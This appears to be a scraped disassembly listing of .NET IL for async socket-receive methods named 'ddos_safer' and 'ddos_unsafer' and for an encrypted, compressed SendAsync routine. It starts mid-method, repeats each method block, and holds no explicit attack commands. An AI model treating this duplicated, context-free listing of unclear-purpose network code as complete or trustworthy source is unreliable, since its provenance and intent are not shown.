00005009ldloc.1
0000500aldfld socktimeout
0000500fconv.r8
00005010blt.un.s IL_0166
00005012ldarg.0
00005013ldnull
00005014stfld <data>5__2
00005019br IL_027d
0000501ecall get_Now
00005023ldarg.0
00005024ldfld <lastSendTime>5__6
00005029call op_Subtraction
0000502estloc.s 5
00005030ldloca.s 5
00005032call get_TotalMilliseconds
00005037ldc.r8 1500
00005040blt.un IL_0210
00005045ldloc.1
00005046ldfld sock
0000504bldc.i4.5
0000504cnewarr System.Byte
00005051dup
00005052ldc.i4.0
00005053ldc.i4.1
00005054stelem.i1
00005055dup
00005056ldc.i4.4
00005057ldc.i4.2
00005058stelem.i1
00005059newobj .ctor
0000505eldc.i4.0
0000505fcall SendAsync
00005064callvirt GetAwaiter
00005069stloc.s 4
0000506bldloca.s 4
0000506dcall get_IsCompleted
00005072brtrue.s IL_01fd
00005074ldarg.0
00005075ldc.i4.1
00005076dup
00005077stloc.0
00005078stfld <>1__state
0000507dldarg.0
0000507eldloc.s 4
00005080stfld <>u__1
00005085ldarg.0
00005086ldflda <>t__builder
0000508bldloca.s 4
0000508dldarg.0
0000508ecall 0x2B000035
00005093leave IL_02c1
00005098ldarg.0
00005099ldfld <>u__1
0000509estloc.s 4
000050a0ldarg.0
000050a1ldflda <>u__1
000050a6initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<int32>
000050acldarg.0
000050adldc.i4.m1
000050aedup
000050afstloc.0
000050b0stfld <>1__state
000050b5ldloca.s 4
000050b7call GetResult
000050bcpop
000050bdldarg.0
000050becall get_Now
000050c3stfld <lastSendTime>5__6
000050c8ldc.i4.s 10
000050cacall Delay
000050cfcallvirt GetAwaiter
000050d4stloc.s 7
000050d6ldloca.s 7
000050d8call get_IsCompleted
000050ddbrtrue.s IL_0265
000050dfldarg.0
000050e0ldc.i4.2
000050e1dup
000050e2stloc.0
000050e3stfld <>1__state
000050e8ldarg.0
000050e9ldloc.s 7
000050ebstfld <>u__2
000050f0ldarg.0
000050f1ldflda <>t__builder
000050f6ldloca.s 7
000050f8ldarg.0
000050f9call 0x2B000036
000050feleave.s IL_02c1
00005100ldarg.0
00005101ldfld <>u__2
00005106stloc.s 7
00005108ldarg.0
00005109ldflda <>u__2
0000510einitobj System.Runtime.CompilerServices.TaskAwaiter
00005114ldarg.0
00005115ldc.i4.m1
00005116dup
00005117stloc.0
00005118stfld <>1__state
0000511dldloca.s 7
0000511fcall GetResult
00005124ldarg.0
00005125ldfld <total>5__3
0000512aldarg.0
0000512bldfld size
00005130blt IL_005f
00005135ldarg.0
00005136ldfld <data>5__2
0000513bstloc.2
0000513cleave.s IL_02a6
0000513estloc.s 8
00005140ldarg.0
00005141ldc.i4.s -2
00005143stfld <>1__state
00005148ldarg.0
00005149ldnull
0000514astfld <data>5__2
0000514fldarg.0
00005150ldflda <>t__builder
00005155ldloc.s 8
00005157call SetException
0000515cleave.s IL_02c1
0000515eldarg.0
0000515fldc.i4.s -2
00005161stfld <>1__state
00005166ldarg.0
00005167ldnull
00005168stfld <data>5__2
0000516dldarg.0
0000516eldflda <>t__builder
00005173ldloc.2
00005174call SetResult
00005179ret
00004eb8
00004eb8<RecvAllAsync_ddos_safer>d__5::MoveNext:
00004eb8ldarg.0
00004eb9ldfld <>1__state
00004ebestloc.0
00004ebfldarg.0
00004ec0ldfld <>4__this
00004ec5stloc.1
00004ec6ldloc.0
00004ec7switch (IL_00db, IL_01e0, IL_0248)
00004ed8ldarg.0
00004ed9ldarg.0
00004edaldfld size
00004edfnewarr System.Byte
00004ee4stfld <data>5__2
00004ee9ldarg.0
00004eealdc.i4.0
00004eebstfld <total>5__3
00004ef0ldarg.0
00004ef1ldarg.0
00004ef2ldfld size
00004ef7stfld <dataLeft>5__4
00004efcldarg.0
00004efdcall get_Now
00004f02stfld <startTimestamp>5__5
00004f07ldarg.0
00004f08call get_Now
00004f0dstfld <lastSendTime>5__6
00004f12br IL_026c
00004f17ldloc.1
00004f18ldfld sock
00004f1dcallvirt get_Connected
00004f22brtrue.s IL_0073
00004f24ldnull
00004f25stloc.2
00004f26leave IL_02a6
00004f2bldloc.1
00004f2cldfld sock
00004f31callvirt get_Available
00004f36ldc.i4.0
00004f37ble IL_0130
00004f3cldloc.1
00004f3dldfld sock
00004f42ldarg.0
00004f43ldfld <data>5__2
00004f48ldarg.0
00004f49ldfld <total>5__3
00004f4eldarg.0
00004f4fldfld <dataLeft>5__4
00004f54newobj .ctor
00004f59ldc.i4.0
00004f5acall ReceiveAsync
00004f5fcallvirt GetAwaiter
00004f64stloc.s 4
00004f66ldloca.s 4
00004f68call get_IsCompleted
00004f6dbrtrue.s IL_00f8
00004f6fldarg.0
00004f70ldc.i4.0
00004f71dup
00004f72stloc.0
00004f73stfld <>1__state
00004f78ldarg.0
00004f79ldloc.s 4
00004f7bstfld <>u__1
00004f80ldarg.0
00004f81ldflda <>t__builder
00004f86ldloca.s 4
00004f88ldarg.0
00004f89call 0x2B000035
00004f8eleave IL_02c1
00004f93ldarg.0
00004f94ldfld <>u__1
00004f99stloc.s 4
00004f9bldarg.0
00004f9cldflda <>u__1
00004fa1initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<int32>
00004fa7ldarg.0
00004fa8ldc.i4.m1
00004fa9dup
00004faastloc.0
00004fabstfld <>1__state
00004fb0ldloca.s 4
00004fb2call GetResult
00004fb7stloc.3
00004fb8ldloc.3
00004fb9brtrue.s IL_010f
00004fbbldarg.0
00004fbcldnull
00004fbdstfld <data>5__2
00004fc2br IL_027d
00004fc7ldarg.0
00004fc8ldarg.0
00004fc9ldfld <total>5__3
00004fceldloc.3
00004fcfadd
00004fd0stfld <total>5__3
00004fd5ldarg.0
00004fd6ldarg.0
00004fd7ldfld <dataLeft>5__4
00004fdcldloc.3
00004fddsub
00004fdestfld <dataLeft>5__4
00004fe3br IL_026c
00004fe8ldloc.1
00004fe9ldfld socktimeout
00004feebrfalse.s IL_0166
00004ff0call get_Now
00004ff5ldarg.0
00004ff6ldfld <startTimestamp>5__5
00004ffbcall op_Subtraction
00005000stloc.s 6
00005002ldloca.s 6
00005004call get_TotalMilliseconds
00005009ldloc.1
0000500aldfld socktimeout
0000500fconv.r8
00005010blt.un.s IL_0166
00005012ldarg.0
00005013ldnull
00005014stfld <data>5__2
00005019br IL_027d
0000501ecall get_Now
00005023ldarg.0
00005024ldfld <lastSendTime>5__6
00005029call op_Subtraction
0000502estloc.s 5
00005030ldloca.s 5
00005032call get_TotalMilliseconds
00005037ldc.r8 1500
00005040blt.un IL_0210
00005045ldloc.1
00005046ldfld sock
0000504bldc.i4.5
0000504cnewarr System.Byte
00005051dup
00005052ldc.i4.0
00005053ldc.i4.1
00005054stelem.i1
00005055dup
00005056ldc.i4.4
00005057ldc.i4.2
00005058stelem.i1
00005059newobj .ctor
0000505eldc.i4.0
0000505fcall SendAsync
00005064callvirt GetAwaiter
00005069stloc.s 4
0000506bldloca.s 4
0000506dcall get_IsCompleted
00005072brtrue.s IL_01fd
00005074ldarg.0
00005075ldc.i4.1
00005076dup
00005077stloc.0
00005078stfld <>1__state
0000507dldarg.0
0000507eldloc.s 4
00005080stfld <>u__1
00005085ldarg.0
00005086ldflda <>t__builder
0000508bldloca.s 4
0000508dldarg.0
0000508ecall 0x2B000035
00005093leave IL_02c1
00005098ldarg.0
00005099ldfld <>u__1
0000509estloc.s 4
000050a0ldarg.0
000050a1ldflda <>u__1
000050a6initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<int32>
000050acldarg.0
000050adldc.i4.m1
000050aedup
000050afstloc.0
000050b0stfld <>1__state
000050b5ldloca.s 4
000050b7call GetResult
000050bcpop
000050bdldarg.0
000050becall get_Now
000050c3stfld <lastSendTime>5__6
000050c8ldc.i4.s 10
000050cacall Delay
000050cfcallvirt GetAwaiter
000050d4stloc.s 7
000050d6ldloca.s 7
000050d8call get_IsCompleted
000050ddbrtrue.s IL_0265
000050dfldarg.0
000050e0ldc.i4.2
000050e1dup
000050e2stloc.0
000050e3stfld <>1__state
000050e8ldarg.0
000050e9ldloc.s 7
000050ebstfld <>u__2
000050f0ldarg.0
000050f1ldflda <>t__builder
000050f6ldloca.s 7
000050f8ldarg.0
000050f9call 0x2B000036
000050feleave.s IL_02c1
00005100ldarg.0
00005101ldfld <>u__2
00005106stloc.s 7
00005108ldarg.0
00005109ldflda <>u__2
0000510einitobj System.Runtime.CompilerServices.TaskAwaiter
00005114ldarg.0
00005115ldc.i4.m1
00005116dup
00005117stloc.0
00005118stfld <>1__state
0000511dldloca.s 7
0000511fcall GetResult
00005124ldarg.0
00005125ldfld <total>5__3
0000512aldarg.0
0000512bldfld size
00005130blt IL_005f
00005135ldarg.0
00005136ldfld <data>5__2
0000513bstloc.2
0000513cleave.s IL_02a6
0000513estloc.s 8
00005140ldarg.0
00005141ldc.i4.s -2
00005143stfld <>1__state
00005148ldarg.0
00005149ldnull
0000514astfld <data>5__2
0000514fldarg.0
00005150ldflda <>t__builder
00005155ldloc.s 8
00005157call SetException
0000515cleave.s IL_02c1
0000515eldarg.0
0000515fldc.i4.s -2
00005161stfld <>1__state
00005166ldarg.0
00005167ldnull
00005168stfld <data>5__2
0000516dldarg.0
0000516eldflda <>t__builder
00005173ldloc.2
00005174call SetResult
00005179ret
00004eb8
000051a4
000051a4<RecvAllAsync_ddos_unsafer>d__4::MoveNext:
000051a4ldarg.0
000051a5ldfld <>1__state
000051aastloc.0
000051abldarg.0
000051acldfld <>4__this
000051b1stloc.1
000051b2ldloc.0
000051b3brfalse IL_00b4
000051b8ldarg.0
000051b9ldarg.0
000051baldfld size
000051bfnewarr System.Byte
000051c4stfld <data>5__2
000051c9ldarg.0
000051caldc.i4.0
000051cbstfld <total>5__3
000051d0ldarg.0
000051d1ldarg.0
000051d2ldfld size
000051d7stfld <dataLeft>5__4
000051dccall get_Now
000051e1pop
000051e2call get_Now
000051e7pop
000051e8br IL_0101
000051edldloc.1
000051eeldfld sock
000051f3callvirt get_Connected
000051f8brtrue.s IL_005d
000051faldnull
000051fbstloc.2
000051fcleave IL_013b
00005201ldloc.1
00005202ldfld sock
00005207ldarg.0
00005208ldfld <data>5__2
0000520dldarg.0
0000520eldfld <total>5__3
00005213ldarg.0
00005214ldfld <dataLeft>5__4
00005219newobj .ctor
0000521eldc.i4.0
0000521fcall ReceiveAsync
00005224callvirt GetAwaiter
00005229stloc.s 4
0000522bldloca.s 4
0000522dcall get_IsCompleted
00005232brtrue.s IL_00d1
00005234ldarg.0
00005235ldc.i4.0
00005236dup
00005237stloc.0
00005238stfld <>1__state
0000523dldarg.0
0000523eldloc.s 4
00005240stfld <>u__1
00005245ldarg.0
00005246ldflda <>t__builder
0000524bldloca.s 4
0000524dldarg.0
0000524ecall 0x2B000037
00005253leave IL_0156
00005258ldarg.0
00005259ldfld <>u__1
0000525estloc.s 4
00005260ldarg.0
00005261ldflda <>u__1
00005266initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<int32>
0000526cldarg.0
0000526dldc.i4.m1
0000526edup
0000526fstloc.0
00005270stfld <>1__state
00005275ldloca.s 4
00005277call GetResult
0000527cstloc.3
0000527dldloc.3
0000527ebrtrue.s IL_00e5
00005280ldarg.0
00005281ldnull
00005282stfld <data>5__2
00005287br.s IL_0112
00005289ldarg.0
0000528aldarg.0
0000528bldfld <total>5__3
00005290ldloc.3
00005291add
00005292stfld <total>5__3
00005297ldarg.0
00005298ldarg.0
00005299ldfld <dataLeft>5__4
0000529eldloc.3
0000529fsub
000052a0stfld <dataLeft>5__4
000052a5ldarg.0
000052a6ldfld <total>5__3
000052abldarg.0
000052acldfld size
000052b1blt IL_0049
000052b6ldarg.0
000052b7ldfld <data>5__2
000052bcstloc.2
000052bdleave.s IL_013b
000052bfstloc.s 5
000052c1ldarg.0
000052c2ldc.i4.s -2
000052c4stfld <>1__state
000052c9ldarg.0
000052caldnull
000052cbstfld <data>5__2
000052d0ldarg.0
000052d1ldflda <>t__builder
000052d6ldloc.s 5
000052d8call SetException
000052ddleave.s IL_0156
000052dfldarg.0
000052e0ldc.i4.s -2
000052e2stfld <>1__state
000052e7ldarg.0
000052e8ldnull
000052e9stfld <data>5__2
000052eeldarg.0
000052efldflda <>t__builder
000052f4ldloc.2
000052f5call SetResult
000052faret
000051a4
000051a4<RecvAllAsync_ddos_unsafer>d__4::MoveNext:
000051a4ldarg.0
000051a5ldfld <>1__state
000051aastloc.0
000051abldarg.0
000051acldfld <>4__this
000051b1stloc.1
000051b2ldloc.0
000051b3brfalse IL_00b4
000051b8ldarg.0
000051b9ldarg.0
000051baldfld size
000051bfnewarr System.Byte
000051c4stfld <data>5__2
000051c9ldarg.0
000051caldc.i4.0
000051cbstfld <total>5__3
000051d0ldarg.0
000051d1ldarg.0
000051d2ldfld size
000051d7stfld <dataLeft>5__4
000051dccall get_Now
000051e1pop
000051e2call get_Now
000051e7pop
000051e8br IL_0101
000051edldloc.1
000051eeldfld sock
000051f3callvirt get_Connected
000051f8brtrue.s IL_005d
000051faldnull
000051fbstloc.2
000051fcleave IL_013b
00005201ldloc.1
00005202ldfld sock
00005207ldarg.0
00005208ldfld <data>5__2
0000520dldarg.0
0000520eldfld <total>5__3
00005213ldarg.0
00005214ldfld <dataLeft>5__4
00005219newobj .ctor
0000521eldc.i4.0
0000521fcall ReceiveAsync
00005224callvirt GetAwaiter
00005229stloc.s 4
0000522bldloca.s 4
0000522dcall get_IsCompleted
00005232brtrue.s IL_00d1
00005234ldarg.0
00005235ldc.i4.0
00005236dup
00005237stloc.0
00005238stfld <>1__state
0000523dldarg.0
0000523eldloc.s 4
00005240stfld <>u__1
00005245ldarg.0
00005246ldflda <>t__builder
0000524bldloca.s 4
0000524dldarg.0
0000524ecall 0x2B000037
00005253leave IL_0156
00005258ldarg.0
00005259ldfld <>u__1
0000525estloc.s 4
00005260ldarg.0
00005261ldflda <>u__1
00005266initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<int32>
0000526cldarg.0
0000526dldc.i4.m1
0000526edup
0000526fstloc.0
00005270stfld <>1__state
00005275ldloca.s 4
00005277call GetResult
0000527cstloc.3
0000527dldloc.3
0000527ebrtrue.s IL_00e5
00005280ldarg.0
00005281ldnull
00005282stfld <data>5__2
00005287br.s IL_0112
00005289ldarg.0
0000528aldarg.0
0000528bldfld <total>5__3
00005290ldloc.3
00005291add
00005292stfld <total>5__3
00005297ldarg.0
00005298ldarg.0
00005299ldfld <dataLeft>5__4
0000529eldloc.3
0000529fsub
000052a0stfld <dataLeft>5__4
000052a5ldarg.0
000052a6ldfld <total>5__3
000052abldarg.0
000052acldfld size
000052b1blt IL_0049
000052b6ldarg.0
000052b7ldfld <data>5__2
000052bcstloc.2
000052bdleave.s IL_013b
000052bfstloc.s 5
000052c1ldarg.0
000052c2ldc.i4.s -2
000052c4stfld <>1__state
000052c9ldarg.0
000052caldnull
000052cbstfld <data>5__2
000052d0ldarg.0
000052d1ldflda <>t__builder
000052d6ldloc.s 5
000052d8call SetException
000052ddleave.s IL_0156
000052dfldarg.0
000052e0ldc.i4.s -2
000052e2stfld <>1__state
000052e7ldarg.0
000052e8ldnull
000052e9stfld <data>5__2
000052eeldarg.0
000052efldflda <>t__builder
000052f4ldloc.2
000052f5call SetResult
000052faret
000051a4
00005324
00005324<SendAsync>d__9::MoveNext:
00005324ldarg.0
00005325ldfld <>1__state
0000532astloc.0
0000532bldarg.0
0000532cldfld <>4__this
00005331stloc.1
00005332ldloc.0
00005333brfalse.s IL_0029
00005335ldarg.0
00005336ldfld data
0000533bbrtrue.s IL_0029
0000533dldstr "data"
00005342ldstr "data can not be null!"
00005347newobj .ctor
0000534cthrow
0000534dnop
0000534eldloc.0
0000534fbrfalse IL_0130
00005354ldarg.0
00005355ldfld data
0000535acall Compress
0000535fstloc.3
00005360ldc.i4.0
00005361stloc.s 4
00005363ldarg.0
00005364ldfld data
00005369ldlen
0000536aconv.i4
0000536bstloc.s 5
0000536dldloc.3
0000536ebrfalse.s IL_005d
00005370ldloc.3
00005371ldlen
00005372conv.i4
00005373ldloc.s 5
00005375bge.s IL_005d
00005377ldarg.0
00005378ldloc.3
00005379stfld data
0000537eldc.i4.1
0000537fstloc.s 4
00005381ldc.i4.1
00005382newarr System.Byte
00005387dup
00005388ldc.i4.0
00005389ldloc.s 4
0000538bstelem.i1
0000538cstloc.s 6
0000538eldloc.s 4
00005390ldc.i4.1
00005391bne.un.s IL_0080
00005393ldloc.s 6
00005395ldloc.1
00005396ldloc.s 5
00005398call IntToBytes
0000539dcall Concat
000053a2stloc.s 6
000053a4ldarg.0
000053a5ldloc.s 6
000053a7ldarg.0
000053a8ldfld data
000053adcall Concat
000053b2stfld data
000053b7ldarg.0
000053b8ldarg.0
000053b9ldfld data
000053beldloc.1
000053bfldfld EncryptionKey
000053c4call Encrypt
000053c9stfld data
000053celdarg.0
000053cfldc.i4.1
000053d0newarr System.Byte
000053d5dup
000053d6ldc.i4.0
000053d7ldc.i4.3
000053d8stelem.i1
000053d9ldarg.0
000053daldfld data
000053dfcall Concat
000053e4stfld data
000053e9ldloc.1
000053ealdarg.0
000053ebldfld data
000053f0ldlen
000053f1conv.i4
000053f2call IntToBytes
000053f7stloc.s 7
000053f9ldarg.0
000053faldloc.s 7
000053fcldarg.0
000053fdldfld data
00005402call Concat
00005407stfld data
0000540cldloc.1
0000540dldfld sock
00005412ldarg.0
00005413ldfld data
00005418newobj .ctor
0000541dldc.i4.0
0000541ecall SendAsync
00005423callvirt GetAwaiter
00005428stloc.s 8
0000542aldloca.s 8
0000542ccall get_IsCompleted
00005431brtrue.s IL_014d
00005433ldarg.0
00005434ldc.i4.0
00005435dup
00005436stloc.0
00005437stfld <>1__state
0000543cldarg.0
0000543dldloc.s 8
0000543fstfld <>u__1
00005444ldarg.0
00005445ldflda <>t__builder
0000544aldloca.s 8
0000544cldarg.0
0000544dcall 0x2B000038
00005452leave.s IL_018b
00005454ldarg.0
00005455ldfld <>u__1
0000545astloc.s 8
0000545cldarg.0
0000545dldflda <>u__1
00005462initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<int32>
00005468ldarg.0
00005469ldc.i4.m1
0000546adup
0000546bstloc.0
0000546cstfld <>1__state
00005471ldloca.s 8
00005473call GetResult
00005478pop
00005479ldc.i4.1
0000547astloc.2
0000547bleave.s IL_0177
0000547dpop
0000547eldc.i4.0
0000547fstloc.2
00005480leave.s IL_0177
00005482stloc.s 9
00005484ldarg.0
00005485ldc.i4.s -2
00005487stfld <>1__state
0000548cldarg.0
0000548dldflda <>t__builder
00005492ldloc.s 9
00005494call SetException
00005499leave.s IL_018b
0000549bldarg.0
0000549cldc.i4.s -2
0000549estfld <>1__state
000054a3ldarg.0
000054a4ldflda <>t__builder
000054a9ldloc.2
000054aacall SetResult
000054afret
00005324
00005324<SendAsync>d__9::MoveNext:
00005324ldarg.0
00005325ldfld <>1__state
0000532astloc.0
0000532bldarg.0
0000532cldfld <>4__this
00005331stloc.1
00005332ldloc.0
00005333brfalse.s IL_0029
00005335ldarg.0
00005336ldfld data
0000533bbrtrue.s IL_0029
0000533dldstr "data"
00005342ldstr "data can not be null!"
00005347newobj .ctor
0000534cthrow
0000534dnop
0000534eldloc.0
0000534fbrfalse IL_0130
00005354ldarg.0
00005355ldfld data
0000535acall Compress
0000535fstloc.3
00005360ldc.i4.0
00005361stloc.s 4
00005363ldarg.0
00005364ldfld data
00005369ldlen
0000536aconv.i4
0000536bstloc.s 5
0000536dldloc.3
0000536ebrfalse.s IL_005d
00005370ldloc.3
00005371ldlen
00005372conv.i4
00005373ldloc.s 5
00005375bge.s IL_005d
00005377ldarg.0
00005378ldloc.3
00005379stfld data
0000537eldc.i4.1
0000537fstloc.s 4
00005381ldc.i4.1
00005382newarr System.Byte
00005387dup
00005388ldc.i4.0
00005389ldloc.s 4
0000538bstelem.i1
0000538cstloc.s 6
0000538eldloc.s 4
00005390ldc.i4.1
00005391bne.un.s IL_0080
00005393ldloc.s 6
00005395ldloc.1
00005396ldloc.s 5
00005398call IntToBytes
0000539dcall Concat
000053a2stloc.s 6
000053a4ldarg.0
000053a5ldloc.s 6
000053a7ldarg.0
000053a8ldfld data
000053adcall Concat
000053b2stfld data
000053b7ldarg.0
000053b8ldarg.0
000053b9ldfld data
000053beldloc.1
000053bfldfld EncryptionKey
000053c4call Encrypt
000053c9stfld data
000053celdarg.0
000053cfldc.i4.1
000053d0newarr System.Byte
000053d5dup
000053d6ldc.i4.0
000053d7ldc.i4.3
000053d8stelem.i1
000053d9ldarg.0
000053daldfld data
000053dfcall Concat
000053e4stfld data
000053e9ldloc.1
000053ealdarg.0
000053ebldfld data
000053f0ldlen
000053f1conv.i4
000053f2call IntToBytes
000053f7stloc.s 7
000053f9ldarg.0
000053faldloc.s 7
000053fcldarg.0
000053fdldfld data
00005402call Concat
00005407stfld data
0000540cldloc.1
0000540dldfld sock
00005412ldarg.0
00005413ldfld data
00005418newobj .ctor
0000541dldc.i4.0
0000541ecall SendAsync
00005423callvirt GetAwaiter
00005428stloc.s 8
0000542aldloca.s 8
0000542ccall get_IsCompleted
00005431brtrue.s IL_014d
00005433ldarg.0
00005434ldc.i4.0
00005435dup
00005436stloc.0
00005437stfld <>1__state
0000543cldarg.0
0000543dldloc.s 8
0000543fstfld <>u__1
00005444ldarg.0
00005445ldflda <>t__builder
0000544aldloca.s 8
0000544cldarg.0
0000544dcall 0x2B000038
00005452leave.s IL_018b
00005454ldarg.0
00005455ldfld <>u__1
0000545astloc.s 8
0000545cldarg.0
0000545dldflda <>u__1
00005462initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<int32>
00005468ldarg.0
00005469ldc.i4.m1
0000546adup
0000546bstloc.0
0000546cstfld <>1__state
00005471ldloca.s 8
00005473call GetResult
00005478pop
00005479ldc.i4.1
0000547astloc.2
0000547bleave.s IL_0177
0000547dpop
0000547eldc.i4.0
0000547fstloc.2
00005480leave.s IL_0177
00005482stloc.s 9
00005484ldarg.0
00005485ldc.i4.s -2
00005487stfld <>1__state
0000548cldarg.0
0000548dldflda <>t__builder
00005492ldloc.s 9
00005494call SetException
00005499leave.s IL_018b
0000549bldarg.0
0000549cldc.i4.s -2
0000549estfld <>1__state
000054a3ldarg.0
000054a4ldflda <>t__builder
000054a9ldloc.2
000054aacall SetResult
000054afret
00005324
Loading..